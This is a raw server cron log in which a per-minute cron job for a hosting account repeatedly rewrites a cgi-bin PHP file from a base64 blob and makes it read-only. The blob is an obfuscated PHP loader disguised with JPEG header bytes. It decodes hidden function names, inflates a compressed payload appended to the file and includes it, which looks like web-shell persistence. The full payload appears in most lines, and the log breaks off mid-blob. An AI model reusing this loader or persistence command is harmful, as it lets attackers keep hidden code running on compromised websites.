"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:45:01 server CROND[31941]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 18:45:01 server CROND[31942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:45:01 server CROND[31943]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 18:46:01 server CROND[32035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:47:01 server CROND[32190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:48:01 server CROND[32248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:49:01 server CROND[32303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:50:01 server CROND[32351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 18:50:01 server CROND[32352]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 18:50:01 server CROND[32353]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 18:50:01 server CROND[32357]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 18:50:01 server CROND[32358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:51:01 server CROND[32455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:52:01 server CROND[32601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:53:01 server CROND[32660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:54:01 server CROND[32705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:55:01 server CROND[32755]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 18:55:01 server CROND[32756]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 18:55:01 server CROND[32754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:56:01 server CROND[404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:57:01 server CROND[450]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 18:57:01 server CROND[451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmm